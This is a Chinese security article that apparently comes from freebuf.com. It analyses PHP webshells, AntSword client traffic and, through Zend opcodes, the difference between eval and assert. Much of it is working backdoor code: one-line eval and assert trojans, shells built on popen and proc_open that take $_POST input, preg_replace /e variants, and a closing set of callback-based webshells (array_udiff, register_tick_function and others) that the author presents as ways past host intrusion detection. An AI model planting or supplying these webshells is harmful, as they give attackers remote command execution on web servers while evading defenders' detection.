分析webshell(php)以及eval与assert区别 – 作者:Gundam

webshell分类

一句话木马

可以在目标服务器上执行PHP代码,并和客户端(如菜刀,Cknife、冰蝎、蚁剑)进行交互的webshell,俗称小马。

多功能木马

根据PHP语法,编写较多代码,并在服务器上执行,完成所有功能的Webshell,俗称大马

逻辑木马

利用系统逻辑漏洞(如php uaf漏洞),绕过访问控制或执行特殊功能的WebShell

PHP 可执行系统命令的函数

system

string system ( string $command [, int &$return_var ] );
# $command为执行的命令,&return_var可选,用来存放命令执行后的状态码
# system 函数执行有回显,可将结果显示在页面上

<?php
	system("whoami");
?>

passthru

void passthru ( string $command [, int &$return_var ] );
# 和system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码
# passthru 执行有回显,可将执行结果显示在页面上

<?php
	passthru("whoami");
?>

exec

string exec ( string $command [, array &$output [, int &$return_var ]] );
# $command是要执行的命令
# $output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)
# exec()函数执行无回显,默认返回最后一行结果

<?php
	echo exec("whoami");
?>

<?php  
$test = "ipconfig";   
exec($test,$array);      
print_r($array);  
?>

shell_exec

string shell_exec( string &command);
# $command是要执行的命令
# shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

<?php
	echo shell_exec("whoami");
?>
# `(反引号) shell_exec() 函数实际上仅是反引号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
# 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php
	echo `whoami`;
?>

popen

resource popen ( string $command , string $mode );
# 函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets(),fgetss()和 fwrite()
<?php  
$command = $_POST[cmd];  
$fp = popen($command,"r");
  
while (!feof($fp)) {
 $out = fgets($fp, 4096);  
 echo  $out;
}  
pclose($fp);  
?>

proc_open

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
);
# 与Popen函数类似,但是可以提供双向管道
<?php  
$command = $_POST[cmd];  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($command,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?> 

pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
# path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
# args是一个要传递给程序的参数的字符串数组。
# pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
# pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

蚁剑连接webshell分析

上述函数都是可以作为一个简单的webshell执行一些系统的命令,那么与客户端(菜刀,CKnife,蚁剑,冰蝎)完成交互的webshell是什么样的呢?

准备一个一句话木马

<?php @eval($_POST['cmd']);?>

在蚁剑添加手动代理,用Burp抓包分析,如下图所示:

添加代理图片[2]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科

将cmd参数解码可以看到

// 临时关闭PHP的错误显示功能
@ini_set("display_errors", "0");
// 设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时。
@set_time_limit(0);
// asenc方法,接收参数,返回参数
function asenc($out){
    return $out;
};
function asoutput(){
    // 从缓冲区取出数据
    $output=ob_get_contents();
    // 清空缓冲区,并将缓冲区关闭
    ob_end_clean();
    echo "b48a94c80a";
    // 输出数据
    echo @asenc($output);
    echo "606e3eed3";
}
// 打开缓冲区,来保存所有的输出
ob_start();
try{
    // $_SERVER["SCRIPT_FILENAME"]是获取当前执行脚本的绝对路径,dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        // $_SERVER["PATH_TRANSLATED"]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 拼接字符串和一个制表位
    $R="{$D}	";
    // 判断是否为Linux的文件目录
    if(substr($D,0,1)!="/"){
        // 遍历盘符
        foreach(range("C","Z")as $L)
            // 如果存在盘符
            if(is_dir("{$L}:"))
                // 拼接字符串
                $R.="{$L}:";
    }else{
        // 否则拼接/
        $R.="/";
    }
    // 拼接制表位
    $R.="	";
    // 判断posix_getegid方法是否存在,存在调用该方法按用户id返回用户相关信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    // 如果用户信息不为空,则返回name属性,否则调用get_current_user()方法
    $s=($u)?$u["name"]:@get_current_user();
    // 返回运行 PHP 的系统的有关信息 并拼接
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
    ;}
catch(Exception $e){
    // 捕获异常
    echo "ERROR://".$e->getMessage();
};
// 运行程序
asoutput();
die();

将此代码放置在eval函数中执行,返回结果如下图所示:

图片[3]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科这说明了eval函数将字符串按照php code解析并执行了,所以客户端只要构造好相应的php code,发送给服务器上的webshell,则可以执行并返回。

当我们再使用列目录的时候截断,可以看到如下图所示,蚁剑客户端还是将封装好的代码发送给了服务端的webshell

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "7322e6777";
    echo @asenc($output);
    echo "7529076fb4d2";
}
ob_start();
try{
    $D=base64_decode($_POST["od0d1a967133cb"]);
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){
            $P=$D.$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R="	".$T."	".@filesize($P)."	".$E."	";
            if(@is_dir($P))
                $M.=$N."/".$R;
            else $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    };
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==

其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,这个od0d1a967133cb key的value值是base64解码之后就是我的web服务的根目录,可以看见,其实用于eval函数执行的代码都是大体相同的,只是更改了try-catch代码块中的逻辑,对于传统的webshell管理工具,连接webshell并且执行相关命令需要使用类似eval,assert等函数将字符串当作php代码执行的性质,当连接成功之后,就可以利用当前web容器可解析的语言执行代码,并完成相关的操作。

图片[4]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科这里总结一下,脚本要将字符串(或文件流)当做PHP代码来执行,主要会使用到以下函数:

eval:PHP 4,PHP 5,PHP 7+ 均可用,接收一个参数,将字符串作为PHP代码执行

<?php
	eval("echo system('whoami');");
?> 
//一句话
<?php
	@eval($_POST['cmd']);
?> 

assert: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一个参数,PHP5.4.8版本后可以接受两个参数

<?php
	assert("system('whoami')");
?> 
// 一句话
<?php
	assert($_POST['cmd']);
?>
<?php
	assert($_GET['cmd']);
?>

正则匹配类:prge_replacemb_erge_replaceprge_filter

// php5.5.0 以下 /e参数还能执行
<?php
	preg_replace("/test/e","system('whoami')","jutst test");
?> 
// 一句话
<?php
    preg_replace("/test/e",@eval($_POST['cmd']),"jutst test");
?>
<?php
    preg_replace("/test/e",$_POST['cmd'],"jutst test");
?>
// php5.5.0+ /e 参数不能使用,推荐使用preg_replace_callback
<?php
	function result(){
		return system("whoami");
	}
	preg_replace_callback("//","result","");
?>
// 一句话马
<?php
    function result(){
		return @eval($_POST['h']);
	}
    preg_replace_callback("//","result","");
?>

文件包含类:includeinclude_once,require,require_once,file_get_contents

eval与assert函数的区别

话说做webshell检测的时候,因为要绕过HIDS,常规的一句话木马,大马都基本上会被拦截,不得不去找了一些php提供的”安全函数“(ps,这里我所指的“安全函数”是php的内置的回调函数,因为本身这些方法都是php自提供的,所以还是一定程度上可以绕过的)。开始使用的时候发现eval不能作为回调函数的后门?而是要用assert函数来代替eval?

意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者1=system&2=whoami来执行命令

好奇心害死猫

查看官方文档,他告知我如下:

eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

然后我又去查询什么是可变函数,官方的定义如下:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途,可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

到这里其实官方已经说得很清楚了,但是我还是想一探究竟,深入浅出

安装vld扩展(这里提示,安装扩展在linux下,且php是自编译的,安装扩展是最简单的)

使用vld扩展,可以清楚的看到php5php7assert函数,eval函数在opcode中执行过程

关于php解释型语言以及opcode的一些解释

php是解释型语言,所谓“解释型语言”就是指用这种语言写的程序不会被直接编译为本地机器语言(native machine language),而是会被编译为一种中间形式(代码),很显然这种中间形式不可能直接在CPU上执行(因为CPU只能执行本地机器指令),但是这种中间形式可以在使用本地机器指令(如今大多是使用C语言)编写的软件上执行。

PHP使用主要虚拟机(Zend虚拟机,译注:HHVM也是一种执行PHP代码的虚拟机,但很显然Zend虚拟机还是目前的主流)可以分为两大部分,它们是紧密相连的:

  • 编译栈(compile stack):识别PHP语言指令,把它们转换为中间形式

  • 执行栈(execution stack):获取中间形式的代码指令并在引擎上执行,引擎是用C或者汇编编写成的

OPCode

Zend VM的一个OPCode对应虚拟机的一个底层操作。Zend虚拟机有很多OPCode:它们可以做很多事情。随着PHP的发展,也引入了越来越多的OPCode,这都是源于PHP可以做越来越多的事情。可以在PHP的源代码文件Zend/zend_vm_opcodes.h中看到所有的OPCode。

Zend VM的每个OPCode的工作方式都完全相同:它们都有一个handler(译注:在Zend VM中,handler是一个函数指针,它指向OPCode对应的处理函数的地址,这个处理函数就是用于实现OPCode具体操作的),这是一个C函数,这个函数就包含了执行这个OPCode时会运行的代码(例如“add”,它就会执行一个基本的加法运算)。每个handler都可以使用0、1或者2个操作数:op1和op2,这个函数运行后,它会后返回一个结果,有时也会返回一段信息(extended_value)

php5

如下图所示,可以看到evalINCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理

图片[5]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看见DO_FCALL这个OPCode的具体操作

DO_FCALL

图片[6]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科在这里说一下第一个判断条件,因为确实不懂,在网上找了与一下相关的解释

//如果EG(active_op_array)->run_time_cache[]数组中存在这个值,就取出来,毕竟C原生态数组取数据速度要远远超过zend_hash_quick_find(毕竟他要计算hash值,还要遍历,不能达到真正的O(1)
if (CACHED_PTR(opline->op1.literal->cache_slot)) {
    ce = CACHED_PTR(opline->op1.literal->cache_slot);
}

然后如果C原生态数组里没有这个函数,就会进入else if中,进行一个哈希查找,并把函数指针放入 EX(function_state).function,最后再调用该函数

INCLUDE_OR_EVAL

到这里就可以看到为什么eval参数中必须是php代码,而不是命令,当在eval中的参数为命令的时候,就会出现eval() 'd code的错误,当参数为php代码的时候,就会直接编译执行参数。

图片[7]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科

从OPCode中可以看到,eval就是Zend函数,assert是宏编写的,最后在调用上是不同的,如下图所示,eval就不是宏定义的

图片[8]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科php7

在php7+中,assert断言也已经成为语言解释器,再也不是函数了,所以在php7中使用assert作为回调后门不能成功的原因就在于此

图片[9]-分析webshell(php)以及eval与assert区别 – 作者:Gundam-安全小百科

回调后门函数

给大家留点彩蛋吧哈哈哈,我实在太菜了

register_shutdown_function

// (PHP 4, PHP 5, PHP 7)
// register_shutdown_function — 注册一个会在php中止时执行的函数
// register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
// php7+ 存在立即执行函数(function($a){@eval($a)})($_POST['cmd'])
<?php
function test($a){
@eval("$a");
}
register_shutdown_function(test,$_POST['cmd']);
?>

array_udiff_assoc

// (PHP 5, PHP 7)
// array_udiff_assoc — 带索引检查计算数组的差集,用回调函数比较数据
// array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
    function test($a){
        @eval($a);
    }
    array_udiff_assoc(array($_REQUEST['h']),array(1),"test");
?>

array_intersect_uassoc

// (PHP 5, PHP 7)
// array_intersect_uassoc — 带索引检查计算数组的交集,用回调函数比较索引
// array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert");
?>
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system");
?>

forward_static_call_array

// forward_static_call_array — 调用静态方法并将参数作为数组传递
// forward_static_call_array ( callable $function , array $parameters ) : mixed
<?php
	forward_static_call_array("assert",array($_REQUEST['h']));
?>
<?php
	forward_static_call_array("system",array($_REQUEST['h']));
?>

array_intersect_ukey

// (PHP 5 >= 5.1.0, PHP 7)
// array_intersect_ukey — 用回调函数比较键名来计算数组的交集
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert");
?>
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system");
?>

register_tick_function

// register_tick_function — 注册一个函数,以便在每次被标记时执行
// register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
<?php
	declare(ticks=1);
	register_tick_function("assert", $_REQUEST['h']);
?>
<?php
	declare(ticks=1);
	register_tick_function("system", $_REQUEST['h']);
?>

array_reduce

// (PHP 4 >= 4.0.5, PHP 5, PHP 7)
// array_reduce — 用回调函数迭代地将数组简化为单一的值
// array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed
<?php
	$arr = array(1);
	array_reduce($arr, "assert", $_REQUEST['h']);
?>
<?php
	$arr = array(1);
	array_reduce($arr, "system", $_REQUEST['h']);
?>

array_udiff

// (PHP 5, PHP 7)
// array_udiff — 用回调函数比较数据来计算数组的差集
// array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
	$arr = array($_POST['h']);
	$arr2 = array(1);
	array_udiff($arr, $arr2, "assert");
?>
<?php
	$arr = array($_POST['h']);
	$arr2 = array(1);
	array_udiff($arr, $arr2, "system");
?>

来源:freebuf.com 2020-12-27 11:38:19 by: Gundam

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论